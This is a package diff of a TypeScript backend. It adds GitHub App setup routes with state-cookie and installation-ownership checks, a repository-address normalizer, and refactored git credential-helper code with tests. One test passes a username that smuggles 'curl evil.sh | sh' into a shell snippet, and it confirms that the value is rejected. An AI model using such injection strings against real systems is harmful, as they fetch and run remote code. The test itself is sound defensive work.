@bevel-software/platform-core-backend 0.20.0 → 0.22.0

package/src/modules/github-app/github-app.routes.ts

@@ -0,0 +1,359 @@
+import { randomBytes, timingSafeEqual } from 'node:crypto';
+import express from 'express';
+import type { IAdminAccessService } from '../admin/admin.interface.js';
+import { logger } from '../../shared/logging.js';
+import type { DeploymentSettingsService } from '../settings/deployment-settings.service.js';
+import { GitHubAppClient, GitHubAppError } from './github-app.client.js';
+import { repositoriesAsSetting, type GitHubAppConnection } from './github-app.connection.js';
+import '../auth/auth.middleware.js'; // Express Request augmentation
+
+const log = logger('github-app');
+
+const STATE_COOKIE = 'hexis_github_state';
+const STATE_MAX_AGE_S = 15 * 60;
+/** A GitHub organisation's name, as it appears in an address. */
+const ORGANIZATION_PATTERN = /^[A-Za-z0-9](?:[A-Za-z0-9-]{0,37}[A-Za-z0-9])?$/;
+/** GitHub refuses an app name longer than this. */
+const MAX_APP_NAME = 34;
+
+export interface GitHubAppRoutesDeps {
+  settings: Pick<DeploymentSettingsService, 'resolve' | 'record'>;
+  connection: GitHubAppConnection;
+  adminAccess: IAdminAccessService;
+  /** Where GitHub sends the browser back to: this deployment's own address. */
+  publicBackendUrl: string;
+  publicFrontendUrl: string;
+  /** Whether the deployment is set up: decides which page a round trip ends on. */
+  isComplete(): boolean;
+  client?: GitHubAppClient;
+}
+
+/** The address GitHub is told to send the browser back to once the app is installed. */
+export function githubAppCallbackUrl(publicBackendUrl: string): string {
+  return `${publicBackendUrl}/api/setup/github-app/callback`;
+}
+
+/**
+ * The manifest a deployment's own GitHub App is created from. It asks for
+ * what the deployment does and nothing else: read and write the contents of
+ * the repositories it is installed on. No webhook, no events, not public:
+ * the app is this deployment's, installed by its owner on the one
+ * repository the knowledge base lives in.
+ */
+export function githubAppManifest(publicBackendUrl: string, publicFrontendUrl: string): Record<string, unknown> {
+  const host = new URL(publicFrontendUrl).host;
+  return {
+    name: `Hexis ${host}`.slice(0, MAX_APP_NAME),
+    url: publicFrontendUrl,
+    description: `Lets the Hexis deployment at ${host} read and write the repository its knowledge base lives in.`,
+    redirect_url: `${publicBackendUrl}/api/setup/github-app/registered`,
+    callback_urls: [githubAppCallbackUrl(publicBackendUrl)],
+    // GitHub then sends the person back signed in, which is what lets the
+    // deployment check that the installation they name is one they hold.
+    request_oauth_on_install: true,
+    public: false,
+    default_permissions: { contents: 'write', metadata: 'read' },
+    default_events: [],
+  };
+}
+
+function readCookie(req: express.Request, name: string): string | null {
+  for (const segment of (req.headers.cookie ?? '').split(';')) {
+    const trimmed = segment.trim();
+    if (!trimmed.startsWith(`${name}=`)) continue;
+    try {
+      return decodeURIComponent(trimmed.slice(name.length + 1)) || null;
+    } catch {
+      return null;
+    }
+  }
+  return null;
+}
+
+function same(a: string, b: string): boolean {
+  const left = Buffer.from(a, 'utf8');
+  const right = Buffer.from(b, 'utf8');
+  return left.length === right.length && timingSafeEqual(left, right);
+}
+
+/**
+ * Connecting a repository on GitHub through a GitHub App, from the setup
+ * screen. Mounted behind the deployment's sign-in; every route is an
+ * admin's.
+ *
+ *   GET  /setup/github-app               where the connection stands
+ *   POST /setup/github-app/manifest      start registering this deployment's own app
+ *   GET  /setup/github-app/registered    GitHub sends the browser back: the app exists
+ *   POST /setup/github-app/install       where on GitHub the app is installed
+ *   POST /setup/github-app/refresh       where to sign in, to read again what may be connected
+ *   GET  /setup/github-app/callback      GitHub sends the browser back: the app is installed
+ *   GET  /setup/github-app/repositories  what the deployment may be pointed at
+ *
+ * A ROUND TRIP IS STARTED BY A POST AND ENDED BY A GET. The two routes
+ * GitHub sends the browser to are ordinary navigations, authenticated by
+ * the session cookie; each checks a state this browser was given when the
+ * round trip started, and spends it. Nothing that starts one is a link, so
+ * a link somebody was sent starts nothing.
+ *
+ * WHAT THE DEPLOYMENT MAY REACH is never taken from the address the browser
+ * came back on. GitHub puts an installation's number there and anyone can
+ * write another: with one app serving many deployments, that number is the
+ * only thing between a deployment and another organisation's repositories.
+ * GitHub sends the person back signed in, and the deployment asks GitHub
+ * two things about THAT PERSON: which installations they reach, and which
+ * repositories of the one they named they can push to with their own
+ * account. The first alone is not enough, since read access to one
+ * repository puts an installation on that list. Only the second is what
+ * the deployment may be pointed at.
+ */
+export function createGitHubAppRoutes(deps: GitHubAppRoutesDeps): express.Router {
+  const router = express.Router();
+  const client = deps.client ?? new GitHubAppClient();
+  const { settings, connection } = deps;
+  const secure = deps.publicBackendUrl.startsWith('https');
+
+  const requireAdmin: express.RequestHandler = async (req, res, next) => {
+    if (!(await deps.adminAccess.isAdmin(req.userEmail))) {
+      res.status(403).json({ error: 'Admins only' });
+      return;
+    }
+    next();
+  };
+
+  /** A state for one round trip, kept in this browser until it comes back. */
+  const beginRoundTrip = (res: express.Response): string => {
+    const tag = settings.resolve('githubAppStateTag');
+    const state = `${tag ? `${tag}.` : ''}${randomBytes(24).toString('base64url')}`;
+    res.cookie(STATE_COOKIE, state, { httpOnly: true, sameSite: 'lax', secure, maxAge: STATE_MAX_AGE_S * 1000, path: '/' });
+    return state;
+  };
+  /** Whether the browser that came back is the one that was sent. */
+  const cameBack = (req: express.Request): boolean => {
+    const kept = readCookie(req, STATE_COOKIE);
+    const given = typeof req.query.state === 'string' ? req.query.state : '';
+    return Boolean(kept && given && same(kept, given));
+  };
+  /** Back to the setup screen, saying how the round trip ended. */
+  const finish = (res: express.Response, outcome: string): void => {
+    const page = deps.isComplete() ? '/deployment' : '/';
+    res.redirect(`${deps.publicFrontendUrl}${page}?github=${encodeURIComponent(outcome)}`);
+  };
+  const installUrl = (slug: string, state: string): string =>
+    `https://github.com/apps/${encodeURIComponent(slug)}/installations/new?state=${encodeURIComponent(state)}`;
+  const outcomeOf = (err: unknown): string =>
+    err instanceof GitHubAppError && err.kind === 'unreachable' ? 'unreachable' : 'refused';
+
+  router.get('/setup/github-app', requireAdmin, (_req, res) => {
+    const credentials = connection.credentials();
+    res.json({
+      // Who supplied the app. Null: this deployment has none yet, and can register its own.
+      registeredBy: connection.registeredBy(),
+      app: credentials ? { slug: credentials.slug, url: `https://github.com/apps/${credentials.slug}` } : null,
+      installation: connection.installationId()
+        ? { id: connection.installationId(), account: settings.resolve('githubInstallationAccount') }
+        : null,
+      repository: settings.resolve('githubRepository') || null,
+    });
+  });
+
+  router.post('/setup/github-app/manifest', requireAdmin, (req, res) => {
+    if (connection.credentials()) {
+      res.status(409).json({ error: 'This deployment already has a GitHub App.' });
+      return;
+    }
+    const organization = (req.body as { organization?: unknown } | undefined)?.organization;
+    const org = typeof organization === 'string' ? organization.trim() : '';
+    if (org && !ORGANIZATION_PATTERN.test(org)) {
+      res.status(400).json({ error: 'Enter the organisation’s name as it appears in its GitHub address.' });
+      return;
+    }
+    const state = beginRoundTrip(res);
+    const base = org ? `https://github.com/organizations/${org}/settings/apps/new` : 'https://github.com/settings/apps/new';
+    // The browser posts the manifest to GitHub itself: a form, not a request of ours.
+    res.json({
+      action: `${base}?state=${encodeURIComponent(state)}`,
+      manifest: githubAppManifest(deps.publicBackendUrl, deps.publicFrontendUrl),
+    });
+  });
+
+  router.get('/setup/github-app/registered', requireAdmin, async (req, res) => {
+    // Spent on return, however the return ends.
+    const returned = cameBack(req);
+    res.clearCookie(STATE_COOKIE, { path: '/' });
+    if (!returned) {
+      finish(res, 'state');
+      return;
+    }
+    const code = typeof req.query.code === 'string' ? req.query.code : '';
+    if (!code || connection.credentials()) {
+      finish(res, code ? 'already-registered' : 'refused');
+      return;
+    }
+    try {
+      const app = await client.convertManifest(code);
+      await settings.record(
+        {
+          githubAppId: app.appId,
+          githubAppSlug: app.slug,
+          githubAppPrivateKey: app.privateKey,
+          githubAppClientId: app.clientId,
+          githubAppClientSecret: app.clientSecret,
+        },
+        req.userId ?? null,
+      );
+      log.info(`GitHub App "${app.slug}" registered for this deployment`, { slug: app.slug, owner: app.owner });
+      // Straight on to installing it: the same round trip, the same state.
+      res.redirect(installUrl(app.slug, beginRoundTrip(res)));
+    } catch (err) {
+      log.error('the GitHub App could not be registered:', { detail: err instanceof Error ? err.message : String(err) });
+      finish(res, outcomeOf(err));
+    }
+  });
+
+  /**
+   * A POST that answers with the address, and the page sends the browser
+   * there. As a link it was a round trip anyone could start in an admin's
+   * browser by getting them to follow it: the state would be set, and
+   * whatever they then installed would come back with a state that matched.
+   */
+  router.post('/setup/github-app/install', requireAdmin, (_req, res) => {
+    const credentials = connection.credentials();
+    if (!credentials) {
+      res.status(409).json({ error: 'This deployment has no GitHub App yet. Create it first.' });
+      return;
+    }
+    res.json({ url: installUrl(credentials.slug, beginRoundTrip(res)) });
+  });
+
+  /**
+   * Ask GitHub again what the person may connect, WITHOUT installing
+   * anything: a sign-in with the app and nothing more, which comes back on
+   * the same callback with a code and no installation named.
+   *
+   * It exists because installing comes back only the first time. Once the
+   * app is installed, the address that installs it opens the installation's
+   * settings on GitHub, and GitHub sends nobody back from there: a
+   * repository added on that page was reached by the app and never offered
+   * here, since what is offered is what was recorded when the person
+   * connected. The same goes for an installation an organisation's owner
+   * approved later, in a browser of their own.
+   */
+  router.post('/setup/github-app/refresh', requireAdmin, (_req, res) => {
+    const credentials = connection.credentials();
+    if (!credentials) {
+      res.status(409).json({ error: 'This deployment has no GitHub App yet. Create it first.' });
+      return;
+    }
+    const state = beginRoundTrip(res);
+    res.json({
+      url: `https://github.com/login/oauth/authorize?client_id=${encodeURIComponent(credentials.clientId)}&state=${encodeURIComponent(state)}`,
+    });
+  });
+
+  router.get('/setup/github-app/callback', requireAdmin, async (req, res) => {
+    const returned = cameBack(req);
+    res.clearCookie(STATE_COOKIE, { path: '/' });
+    if (!returned) {
+      finish(res, 'state');
+      return;
+    }
+    const credentials = connection.credentials();
+    if (!credentials) {
+      finish(res, 'not-registered');
+      return;
+    }
+    // Someone without the right to install asked their organisation's owner
+    // to: nothing is installed yet, and there is nothing to record.
+    if (req.query.setup_action === 'request') {
+      finish(res, 'requested');
+      return;
+    }
+    const code = typeof req.query.code === 'string' ? req.query.code : '';
+    const given = typeof req.query.installation_id === 'string' ? req.query.installation_id : '';
+    if (!code || (given !== '' && !/^\d+$/.test(given))) {
+      finish(res, 'refused');
+      return;
+    }
+    // Back from installing, GitHub names the installation. Back from a
+    // sign-in alone (see `refresh`) it names none, and the one in question
+    // is the one this deployment has. Either way it is only a name: what
+    // decides is what GitHub says the person reaches, below.
+    const refreshing = given === '';
+    const named = given || connection.installationId();
+    try {
+      const userToken = await client.exchangeUserCode(credentials, code);
+      const reached = await client.installationsOf(userToken);
+      let held = named ? reached.find((installation) => installation.id === named) : undefined;
+      if (!named) {
+        // No installation on record and none named: the app was installed
+        // where this browser never came back from (an owner approved it
+        // later). One the person reaches is the one; several are a choice
+        // only installing from here can make.
+        if (reached.length === 0) {
+          finish(res, 'not-installed');
+          return;
+        }
+        if (reached.length > 1) {
+          finish(res, 'several');
+          return;
+        }
+        held = reached[0];
+      }
+      if (!held) {
+        log.warn('an installation was named that the person who came back cannot reach', { installation: named });
+        finish(res, 'not-yours');
+        return;
+      }
+      // Reaching the installation is not holding it: read access to one
+      // repository it covers is enough for GitHub to list it. What the
+      // deployment may be pointed at is what THIS PERSON can push to.
+      const theirs = await client.repositoriesOf(userToken, held.id);
+      const writable = theirs.repositories.filter((repository) => repository.writable).map((r) => r.fullName);
+      if (writable.length === 0) {
+        log.warn('the person who came back can push to nothing the installation covers', { installation: held.id });
+        finish(res, 'nothing-to-write');
+        return;
+      }
+      await settings.record(
+        {
+          githubInstallationId: held.id,
+          githubRepositoriesPermitted: repositoriesAsSetting(writable),
+          ...(held.account ? { githubInstallationAccount: held.account } : {}),
+        },
+        req.userId ?? null,
+      );
+      // A token in hand was another installation's.
+      connection.forget();
+      log.info(
+        refreshing
+          ? `what may be connected through the GitHub App on "${held.account}" was read again`
+          : `GitHub App installed on "${held.account}"`,
+        { installation: held.id, account: held.account, repositories: writable.length },
+      );
+      finish(res, refreshing ? 'refreshed' : 'connected');
+    } catch (err) {
+      log.error('the installation could not be confirmed:', { detail: err instanceof Error ? err.message : String(err) });
+      finish(res, outcomeOf(err));
+    }
+  });
+
+  router.get('/setup/github-app/repositories', requireAdmin, async (_req, res) => {
+    if (!connection.credentials() || !connection.installationId()) {
+      res.status(409).json({ error: 'Connect GitHub first.' });
+      return;
+    }
+    try {
+      res.json(await connection.repositories());
+    } catch (err) {
+      log.error('the repositories could not be listed:', { detail: err instanceof Error ? err.message : String(err) });
+      const unreachable = err instanceof GitHubAppError && err.kind === 'unreachable';
+      res.status(502).json({
+        error: unreachable
+          ? 'GitHub could not be reached. Try again shortly.'
+          : 'GitHub would not list the repositories. The app may have been uninstalled: connect it again.',
+      });
+    }
+  });
+
+  return router;
+}

package/src/modules/github-app/index.ts

@@ -0,0 +1,19 @@
+export {
+  GitHubAppClient,
+  GitHubAppError,
+  appJwt,
+  normalizePrivateKey,
+  type GitHubAppCredentials,
+  type GitHubFailureKind,
+  type Installation,
+  type InstallationRepository,
+  type InstallationToken,
+  type RegisteredApp,
+} from './github-app.client.js';
+export { GitHubAppConnection, repositoriesAsSetting, type GitHubAppConnectionOptions } from './github-app.connection.js';
+export {
+  createGitHubAppRoutes,
+  githubAppCallbackUrl,
+  githubAppManifest,
+  type GitHubAppRoutesDeps,
+} from './github-app.routes.js';

package/src/modules/kb-fs/__tests__/branch-name.test.ts

@@ -1,8 +1,8 @@
 import { describe, it, expect } from 'vitest';
+import { currentBranchModel, isProtectedBranch } from '@bevel-software/platform-shared';
 import {
   assertValidBranchName,
   assertValidRelativePath,
-  isProtectedBranch,
 } from '../branch-name.js';
 import { BranchNameError, WorkflowValidationError } from '../../../shared/domain-errors.js';
 
@@ -75,12 +75,12 @@ describe('assertValidRelativePath', () => {
 
 describe('isProtectedBranch', () => {
   it('protects current-company-state and target-company-state', () => {
-    expect(isProtectedBranch('current-company-state')).toBe(true);
-    expect(isProtectedBranch('target-company-state')).toBe(true);
+    expect(isProtectedBranch(currentBranchModel(), 'current-company-state')).toBe(true);
+    expect(isProtectedBranch(currentBranchModel(), 'target-company-state')).toBe(true);
   });
   it('does not protect user branches', () => {
-    expect(isProtectedBranch('ali-raza/add-owner')).toBe(false);
-    expect(isProtectedBranch('main')).toBe(false);
-    expect(isProtectedBranch('develop')).toBe(false);
+    expect(isProtectedBranch(currentBranchModel(), 'ali-raza/add-owner')).toBe(false);
+    expect(isProtectedBranch(currentBranchModel(), 'main')).toBe(false);
+    expect(isProtectedBranch(currentBranchModel(), 'develop')).toBe(false);
   });
 });

package/src/modules/kb-fs/__tests__/clone-config.test.ts

@@ -1,4 +1,5 @@
-import { describe, it, expect, afterEach } from 'vitest';
+import { describe, it, expect } from 'vitest';
+import { gitCredentials } from '../../../shared/git.contract.js';
 import {
   cloneCredentialArgs,
   cloneCredentialConfigArgs,
@@ -24,56 +25,59 @@ describe('cloneTrackingConfigArgs', () => {
 });
 
 describe('credential config', () => {
-  const ORIGINAL = process.env.GITHUB_TOKEN;
-  afterEach(() => {
-    if (ORIGINAL === undefined) delete process.env.GITHUB_TOKEN;
-    else process.env.GITHUB_TOKEN = ORIGINAL;
-  });
+  const withToken = (username = 'x-access-token') => gitCredentials(username, 'ghp_supersecret');
+  const withoutToken = gitCredentials('x-access-token', null);
 
   it('reads the token from the environment at call time, never inlining its value', () => {
-    process.env.GITHUB_TOKEN = 'ghp_supersecret';
-    const helper = credentialHelperValue('x-access-token');
+    const helper = credentialHelperValue(withToken());
     expect(helper).toContain('password=$GITHUB_TOKEN');
     expect(helper).not.toContain('ghp_supersecret');
   });
 
   it('with no token: clones get no helper, and existing clones get theirs UNSET', () => {
-    delete process.env.GITHUB_TOKEN;
-    expect(credentialHelperValue('x-access-token')).toBeNull();
+    expect(credentialHelperValue(withoutToken)).toBeNull();
     // A fresh clone simply carries nothing…
-    expect(cloneCredentialArgs('x-access-token')).toEqual([]);
+    expect(cloneCredentialArgs(withoutToken)).toEqual([]);
     // …but an adopted clone may carry a helper from when a token WAS
     // configured, and that stale helper (answering with an empty password)
     // would shadow whatever auth the operator fell back to — so the repair
     // path removes it. Callers run this tolerantly: unset of a missing key
     // exits non-zero and is the expected no-op.
-    expect(cloneCredentialConfigArgs('x-access-token')).toEqual([
+    expect(cloneCredentialConfigArgs(withoutToken)).toEqual([
       ['config', '--unset-all', 'credential.helper', 'password=\\$GITHUB_TOKEN'],
     ]);
   });
 
+  it('never reads this process\'s environment: a token there is not a token in effect', () => {
+    const previous = process.env.GITHUB_TOKEN;
+    process.env.GITHUB_TOKEN = 'ghp_stale_from_env';
+    try {
+      expect(credentialHelperValue(withoutToken)).toBeNull();
+    } finally {
+      if (previous === undefined) delete process.env.GITHUB_TOKEN;
+      else process.env.GITHUB_TOKEN = previous;
+    }
+  });
+
   it('passes the clone form as --config, which git only honours AFTER the subcommand', () => {
-    process.env.GITHUB_TOKEN = 'ghp_x';
     // Pinned exactly: `-c` here instead of `--config` still authenticates the
     // clone but writes nothing into the new repo, which is the bug this guards.
-    expect(cloneCredentialArgs('oauth2')).toEqual([
+    expect(cloneCredentialArgs(withToken('oauth2'))).toEqual([
       '--config',
-      `credential.helper=${credentialHelperValue('oauth2')}`,
+      `credential.helper=${credentialHelperValue(withToken('oauth2'))}`,
     ]);
   });
 
   it('replaces rather than appends when re-stamping — scoped to app-owned values only', () => {
-    process.env.GITHUB_TOKEN = 'ghp_x';
     // The trailing value-pattern is what keeps an operator's own clone-local
     // helper (store/cache/custom) out of reach of both the replace and the
     // unset — git only touches values matching it.
-    expect(cloneCredentialConfigArgs('x-access-token')).toEqual([
-      ['config', '--replace-all', 'credential.helper', credentialHelperValue('x-access-token'), 'password=\\$GITHUB_TOKEN'],
+    expect(cloneCredentialConfigArgs(withToken())).toEqual([
+      ['config', '--replace-all', 'credential.helper', credentialHelperValue(withToken()), 'password=\\$GITHUB_TOKEN'],
     ]);
   });
 
   it('refuses a username that would break out of the helper snippet', () => {
-    process.env.GITHUB_TOKEN = 'ghp_x';
-    expect(() => credentialHelperValue('me"; curl evil.sh | sh; #')).toThrow(/must match/);
+    expect(() => credentialHelperValue(withToken('me"; curl evil.sh | sh; #'))).toThrow(/must match/);
   });
 });

package/src/modules/kb-fs/__tests__/remote-url.test.ts

@@ -0,0 +1,38 @@
+import { describe, expect, it } from 'vitest';
+import { normalizeRepositoryAddress, sameRepository } from '../remote-url.js';
+
+/**
+ * The comparison decides whether a working copy is kept or deleted, so what
+ * it must never do is call the SAME repository a different one.
+ */
+describe('sameRepository', () => {
+  it.each([
+    ['https://github.com/org/repo', 'https://github.com/org/repo.git'],
+    ['https://github.com/org/repo', 'https://github.com/org/repo/'],
+    ['https://github.com/org/repo.git/', 'https://github.com/org/repo'],
+    ['https://GitHub.com/org/repo', 'https://github.com/org/repo'],
+    ['HTTPS://github.com/org/repo', 'https://github.com/org/repo'],
+    ['https://x-access-token:secret@github.com/org/repo', 'https://github.com/org/repo'],
+    ['  https://github.com/org/repo  ', 'https://github.com/org/repo'],
+    ['/srv/git/kb.git', '/srv/git/kb'],
+    ['C:\\git\\kb.git\\', 'C:\\git\\kb'],
+  ])('%s is %s', (a, b) => {
+    expect(sameRepository(a, b)).toBe(true);
+  });
+
+  it.each([
+    ['https://github.com/org/repo', 'https://github.com/org/other'],
+    ['https://github.com/org/repo', 'https://github.com/other/repo'],
+    ['https://github.com/org/repo', 'https://gitlab.com/org/repo'],
+    ['https://github.com/org/repo', 'https://github.com/org/repo-kb'],
+    ['https://github.com/org/Repo', 'https://github.com/org/repo'],
+  ])('%s is not %s', (a, b) => {
+    expect(sameRepository(a, b)).toBe(false);
+  });
+
+  it('never carries a credential into the normalized form', () => {
+    expect(normalizeRepositoryAddress('https://user:token@github.com/org/repo.git')).toBe(
+      'https://github.com/org/repo',
+    );
+  });
+});

package/src/modules/kb-fs/branch-name.ts

@@ -1,8 +1,8 @@
 import { BranchNameError, WorkflowValidationError } from '../../shared/domain-errors.js';
 
-// Single source of truth for the protected-branch list lives in `@bevel-software/platform-shared` so
-// the backend guard and the frontend banner/disabling logic can't drift apart.
-export { PROTECTED_BRANCHES, isProtectedBranch } from '@bevel-software/platform-shared';
+// The protected-branch list is the knowledge base's (`KbContext.protectedBranches`):
+// services ask the context they were built with, so the backend guard and the
+// frontend banner (which reads the same model from `/api/config`) can't drift.
 // Authorship inference lives in `@bevel-software/platform-shared` for the same reason — the
 // picker's `canDelete` rule and the backend authorisation check on
 // `deleteBranch` must agree on every edge case (uppercase email, dotted

package/src/modules/kb-fs/clone-config.ts

@@ -1,3 +1,5 @@
+import { GIT_TOKEN_ENV, type GitCredentials } from '../../shared/git.contract.js';
+
 /**
  * The git configuration a per-branch workspace clone must carry: the tracking
  * config that pins its branch to exactly ONE upstream ref, and the credential
@@ -90,21 +92,22 @@ export function cloneTrackingConfigArgs(branch: string): string[][] {
 
 /**
  * The inline credential helper a workspace clone authenticates its remote
- * operations with, or null when the deployment has no git token configured.
+ * operations with, or null when the credentials carry no token.
  *
  * The snippet reads `$GITHUB_TOKEN` at CALL time, so the secret itself never
  * enters argv, the clone's `.git/config`, or any error message quoting either.
- * `GITHUB_TOKEN` is the normalised name — `CoreConfig` collapses `GIT_TOKEN` /
- * `GH_TOKEN` onto it at boot, and `DeploymentSettingsService.syncGitTokenEnv`
- * publishes a token supplied through the setup screen to the same place — so
- * this one name covers every way a token can arrive.
+ * The git runner puts the token there for every call it makes
+ * (`GIT_TOKEN_ENV` in `shared/git.contract.ts`), whichever way it arrived:
+ * the environment at boot, or the setup screen afterwards. Nothing else
+ * reads that variable, and nothing writes it into this process.
  *
  * The username is provider-specific (GitHub `x-access-token`, GitLab `oauth2`,
  * Bitbucket `x-token-auth`); the token is always the Basic-auth password,
  * which every major host accepts.
  */
-export function credentialHelperValue(gitUsername: string): string | null {
-  if (!process.env.GITHUB_TOKEN) return null;
+export function credentialHelperValue(credentials: GitCredentials): string | null {
+  if (!credentials.token()) return null;
+  const gitUsername = credentials.username();
   // Interpolated into a shell snippet that git will execute. `CoreConfig` and
   // `DeploymentSettingsService` both reject a username outside this charset
   // before it can get this far, so reaching the throw means an unvalidated
@@ -119,7 +122,7 @@ export function credentialHelperValue(gitUsername: string): string | null {
   // `password=$GITHUB_TOKEN` stays in the snippet, which is what
   // APP_HELPER_VALUE_PATTERN keys on — echo-era helpers stamped by earlier
   // builds still match it and get replaced on the next stamp.
-  return `!f() { printf '%s\\n' "username=${gitUsername}" "password=$GITHUB_TOKEN"; }; f`;
+  return `!f() { printf '%s\\n' "username=${gitUsername}" "password=$${GIT_TOKEN_ENV}"; }; f`;
 }
 
 /**
@@ -135,8 +138,8 @@ export function credentialHelperValue(gitUsername: string): string | null {
  * Empty when no token is configured, matching the un-authenticated clone the
  * rest of the layer already supports.
  */
-export function cloneCredentialArgs(gitUsername: string): string[] {
-  const helper = credentialHelperValue(gitUsername);
+export function cloneCredentialArgs(credentials: GitCredentials): string[] {
+  const helper = credentialHelperValue(credentials);
   return helper ? ['--config', `credential.helper=${helper}`] : [];
 }
 
@@ -165,8 +168,8 @@ export function cloneCredentialArgs(gitUsername: string): string[] {
  */
 const APP_HELPER_VALUE_PATTERN = 'password=\\$GITHUB_TOKEN';
 
-export function cloneCredentialConfigArgs(gitUsername: string): string[][] {
-  const helper = credentialHelperValue(gitUsername);
+export function cloneCredentialConfigArgs(credentials: GitCredentials): string[][] {
+  const helper = credentialHelperValue(credentials);
   // `--replace-all key value pattern` replaces every line MATCHING the
   // pattern with the one value (adding it when none match) and leaves
   // non-matching values — operator helpers — untouched. Same scoping on the

package/src/modules/kb-fs/remote-url.ts

@@ -0,0 +1,35 @@
+/**
+ * Whether two repository addresses name the same repository.
+ *
+ * The answer decides whether a working copy on disk is KEPT or DELETED, so it
+ * errs towards "same": only differences that cannot change which repository
+ * is meant are ignored, and they are ignored on both sides.
+ *
+ *  - a trailing slash, and a `.git` suffix — hosts serve both spellings;
+ *  - the letter case of the scheme and the host — DNS does not distinguish;
+ *  - userinfo (`user:token@`) — who asks does not change what is asked for,
+ *    and a credential must never decide, or appear in, a comparison.
+ *
+ * The PATH keeps its case: hosts that fold it and hosts that do not both
+ * exist, and treating `Org/Repo` and `org/repo` as one would keep a clone of
+ * the wrong repository on a host that tells them apart — but deleting a clone
+ * of the right one is the worse error, and an operator who only changed the
+ * case gets a re-clone, not a loss: the work on that clone was pushed to the
+ * same place.
+ */
+export function normalizeRepositoryAddress(address: string): string {
+  let a = address.trim();
+  const url = /^([a-z][a-z0-9+.-]*):\/\/([^/]*)(\/.*)?$/i.exec(a);
+  if (url) {
+    const host = url[2]!.replace(/^[^@]*@/, '').toLowerCase();
+    a = `${url[1]!.toLowerCase()}://${host}${url[3] ?? ''}`;
+  }
+  return a
+    .replace(/[\\/]+$/, '')
+    .replace(/\.git$/i, '')
+    .replace(/[\\/]+$/, '');
+}
+
+export function sameRepository(a: string, b: string): boolean {
+  return normalizeRepositoryAddress(a) === normalizeRepositoryAddress(b);
+}